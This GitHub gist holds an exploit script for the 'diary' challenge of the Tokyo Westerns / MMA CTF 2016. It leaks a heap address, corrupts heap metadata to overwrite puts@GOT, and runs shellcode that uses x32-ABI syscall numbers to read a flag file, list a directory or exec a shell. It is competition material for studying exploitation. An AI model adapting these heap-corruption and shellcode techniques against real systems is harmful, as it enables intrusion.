Created
September 7, 2016 08:22
-
-
Save akiym/e01e8bd386e460e4bfde8abc6197e549 to your computer and use it in GitHub Desktop.
diary - Tokyo Westerns / MMA CTF 2nd 2016
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
import os | |
import sys | |
import time | |
import re | |
import struct | |
import socket | |
from pwn import * | |
context.update(arch='amd64', os='linux') | |
p = lambda x: struct.pack('<Q', x) | |
u = lambda x: struct.unpack('<Q', x)[0] | |
def connect(host, port): | |
return socket.create_connection((host, port)) | |
def recvuntil(st, debug=False): | |
ret = '' | |
while st not in ret: | |
lret = s.recv(1) | |
if debug and len(lret) > 0: | |
sys.stdout.write(lret) | |
ret += lret | |
return ret | |
def recvn(n): | |
ret = '' | |
while len(ret) != n: | |
ret += s.recv(1) | |
return ret | |
def interact(): | |
import telnetlib | |
t = telnetlib.Telnet() | |
t.sock = s | |
t.interact() | |
def process(cmd): | |
import subprocess | |
return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT) | |
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r' | |
if REMOTE: | |
host = 'pwn1.chal.ctf.westerns.tokyo' | |
port = 13856 | |
else: | |
host = '127.0.0.1' | |
port = 4000 | |
s = connect(host, port) | |
def register(date, content, size=None): | |
recvuntil('>> ') | |
s.send('1\n') | |
recvuntil('... ') | |
s.send('%s\n' % date) | |
recvuntil('... ') | |
if size is None: | |
size = len(content) | |
s.send('%d\n' % size) | |
recvuntil('>> ') | |
s.send(content) | |
def show(date): | |
recvuntil('>> ') | |
s.send('2\n') | |
recvuntil('... ') | |
s.send('%s\n' % date) | |
recvuntil('%s\n' % date) | |
return recvuntil('1.Register')[:-10] | |
def delete(date): | |
recvuntil('>> ') | |
s.send('3\n') | |
recvuntil('... ') | |
s.send('%s\n' % date) | |
register('1970/01/01', 'A' * 32) | |
register('1970/01/02', 'B' * 32) | |
delete('1970/01/01') | |
delete('1970/01/02') | |
register('1970/01/01', 'A' * 48, size=64) | |
res = show('1970/01/01') | |
heap = u(res[48:48+6].ljust(8, '\0')) | |
print 'heap : %x' % heap | |
heap_base = heap - 0x80 | |
print 'heap_base : %x' % heap_base | |
delete('1970/01/01') | |
# read file flagflag_oh_i_found | |
sc = asm(""" | |
jmp skip | |
.ascii "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | |
skip: | |
jmp loadstring | |
file_read: | |
pop rdi | |
xor rax,rax | |
push rax | |
pop rsi | |
push rax | |
pop rdx | |
mov rax,0x40000002 | |
syscall | |
push rax | |
pop rdi | |
push rsi | |
pop rax | |
push rsp | |
pop rsi | |
mov dl,0x40 | |
mov rax,0x40000000 | |
syscall | |
xchg rax,rdx | |
mov dil,0x1 | |
mov rax,0x40000001 | |
syscall | |
ret | |
loadstring: | |
call file_read | |
.asciz "flagflag_oh_i_found" | |
""") | |
# read directory | |
#sc = asm(""" | |
asm(""" | |
jmp skip | |
.ascii "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | |
skip: | |
jmp loadstring | |
dir_read: | |
pop rdi | |
xor rax,rax | |
push rax | |
pop rsi | |
push rax | |
pop rdx | |
mov rax,0x40000002 | |
syscall | |
getdents: | |
mov dx,0x400 | |
mov rsi,rsp | |
mov rdi,rax | |
mov rax,0x4000004e | |
syscall | |
test rax,rax | |
jle end | |
mov r10,rsp | |
lea r8,[rax+r10] | |
next_ent: | |
lea rsi,[r10+0x12] | |
write: | |
xor rdx,rdx | |
mov dl,0x1 | |
mov dil,0x1 | |
xor rax,rax | |
mov rax,0x40000001 | |
syscall | |
inc rsi | |
mov al,byte ptr [rsi] | |
test al,al | |
jnz write | |
lea rsi,[rdx+0x9] | |
push rsi | |
mov rsi,rsp | |
mov rax,0x40000001 | |
syscall | |
add rsp, 8 | |
movzx rsi,word ptr [r10+0x10] | |
add r10,rsi | |
cmp r10,r8 | |
jl next_ent | |
jmp getdents | |
end: | |
ret | |
loadstring: | |
call dir_read | |
.asciz "." | |
""") | |
# execve ./bash | |
#sc = asm(""" | |
asm(""" | |
jmp skip | |
.ascii "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | |
skip: | |
jmp loadstring | |
execve: | |
xor rax,rax | |
pop rdi | |
push rax | |
pop rsi | |
push rax | |
pop rdx | |
mov rax,0x4000003b | |
syscall | |
ret | |
loadstring: | |
call execve | |
.asciz "./bash" | |
""") | |
register('2000/01/01', 'A'*32) | |
register('2000/01/02', 'B'*32) | |
delete('2000/01/01') | |
payload = ( | |
'A' * 24 + | |
sc.ljust(224, '\x90') + | |
p(0x1) + # size | |
p(heap_base+0x200) + | |
p(heap_base+0x200) + | |
'' | |
).ljust(32+0x140, 'C') | |
register('2000/01/03', payload) | |
delete('2000/01/02') | |
payload = ( | |
'D' * 8 + | |
'Z' * 16 + | |
p(0xdeadbeef) + | |
p(heap_base+0xa8+24) + # shellcode (fd) | |
p(0x602020-8) + # puts@got (bk) | |
p(0xdeadbeef) + | |
'D' * 8 + | |
p(0x30) + # prev_size | |
'' | |
).ljust(72, 'D') | |
register('2000/01/04', payload + '\n', size=72) | |
delete('2000/01/03') | |
interact() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment